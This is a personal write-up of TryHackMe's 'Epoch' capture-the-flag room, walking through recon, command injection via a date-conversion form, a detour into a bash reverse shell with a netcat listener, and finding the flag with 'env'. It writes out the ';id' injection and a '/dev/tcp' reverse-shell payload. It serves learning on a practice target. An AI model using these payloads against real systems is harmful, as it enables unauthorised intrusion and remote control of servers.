Epoch Room Writeup
My approach to writeups:
Before we get into the post, for me creating writeups is primarily a learning exercise. While documenting how I reached the solution is an important part of a writeup what I care about more is the thought process of working to find the solution, both the obstacles and eventual discoveries. By writing in this way it's my goal to improve my own thought processes and develop a more systematic methodology for approaching these problems over time. Consider these to be refined versions of my notes rather than polished reports.
Epoch was released as the second challenge during TryHackMe's 2022 Halloween event, and is classified as an easy web app room. The prompt for us is:
"Be honest, you have always wanted an online tool that could help you convert UNIX dates and timestamps! Wait... it doesn't need to be online, you say? Are you telling me there is a command-line Linux program that can already do the same thing? Well, of course, we already knew that! Our website actually just passes your input right along to that command-line program!"
Between the above mention of command lines and the explicit link to their room on command injection it's certain this will be a command injection focused box. Once the VM was spun up all we see is a basic single input form.
While it was tempting to go straight into testing command injection, I did start this process with some initial enumeration to avoid missing anything.
Enumeration
This wasn't an open-ended web app challenge, so I just did some quick standard checks to cover the bases.
- HTML source: this shows up as a single page, minimal markup, and no Javascript sources loaded in at all. The
<head>
metadata doesn't reveal any additional information. - Wappalyzer: Bootstrap is the only detected technology.
- Directory enumeration: I ran
gobuster
in the background while beginning command injection tests, which returned no additional directories. Manual check for/robots.txt
and/sitemap.xml
while that ran also returned nothing.
With that brief recon done, let's move straight into trying out command injection on our form.
Testing command injection
Passing in a epoch value, like 1680115500
, returns a more human readable date output below the form as text.
Note: If you want some background on the epoch format Wikipedia has a good primer.
With the expected output known the next step was to test the simplest command injections forms. The first to check is just appending a semicolon to the string and following it with a system command, in this case ;id
, which will tell us if this form is returning the internal server's responses, doing some other processing first, or generate an error.
This payload works and we get the output of the id
command after our date. No need to test other permutations now, though for reference if this hadn't worked I would have been working off of this command injection cheatsheet.
With the injection confirmed I ran other enumeration commands, including whoami
, ls
, and ls /
, to get a quick sense of what we could see.
Now if this was a straight to the solution walkthrough we would almost be done...but with the command injection confirmed in my enthusiasm I skipped straight to trying to pop a reverse shell on it.
The shell popping detour
To get the shell I went to Pentest Monkey's RCE Cheatsheet for a bash specific payload, as this was clearly a Linux machine based on the earlier output from id
, ls
, etc. I set up a netcat listener on the Attackbox with nc -lvnp [port]
and prepped the below payload in our form, clicking the Convert button once the listener was active.
;bash -i >& /dev/tcp/[kaliIp]/[kaliPort] 0>&1
And yup, this gives us a shell on the box, confirming remote code execution (RCE). While this will turn out to not be necessary to get the flag, it would be a major finding during an actual report, so it was worthwhile to test for it. Plus the shell is faster for my continued digging into the server versus passing in these individual command payloads anyway, making this detour a win win.
For brevity's sake with shell access I spent some more time seeing what we had access to on the file system. We could read files in this user's home directory, /home/challenge
, but couldn't look at root permissioned files like /etc/shadow
. Our home directory had two Go files and their compiled binaries, plus a folder "views," which has a single index.html
file. None of these contained our flag.
At this point I checked the provided hint "The developer likes to store data in environment variables, can you find anything of interest there?" and went down a rabbit hole about Go environment variables for a while.
For context I'm used to developing Javascript front-ends, so my immediate thought here was that these Go binaries might be storing their environment variables in a similar way, via .env
files. But checking both the binary and .go
files by running strings
and looking for any declared variables went nowhere, and in some cases I was running into privilege limitations, so I started to investigate if I could get root, running the LinPEAS script...however this was also at a time in my studies before I'd learned much at all about Linux privilege escalation, so the output it gave me wasn't as actionable as it could have been (from research on Discord it was indeed rootable, but not relevant to the challenge).
But trying to get root aside this is where I also missed some important hints while doing the research on how Go handles environment variables. Namely the examples (#1 & #2) both show Go using the os
package to interact with system environment variables. My mistake was that I had assumed that they were using development environment variables and went looking for those—and yes they are supported in Go with the godotenv
package, but that package wasn't in use here, hence the dead end.
Now, how do you check system environment variables? By running the env
command.
Problem solved and flag found. This worked directly from the form, so the reverse shell wasn't necessary to get the flag.
My key takeway from this room was to always check env
during enumeration if I have some form of shell access.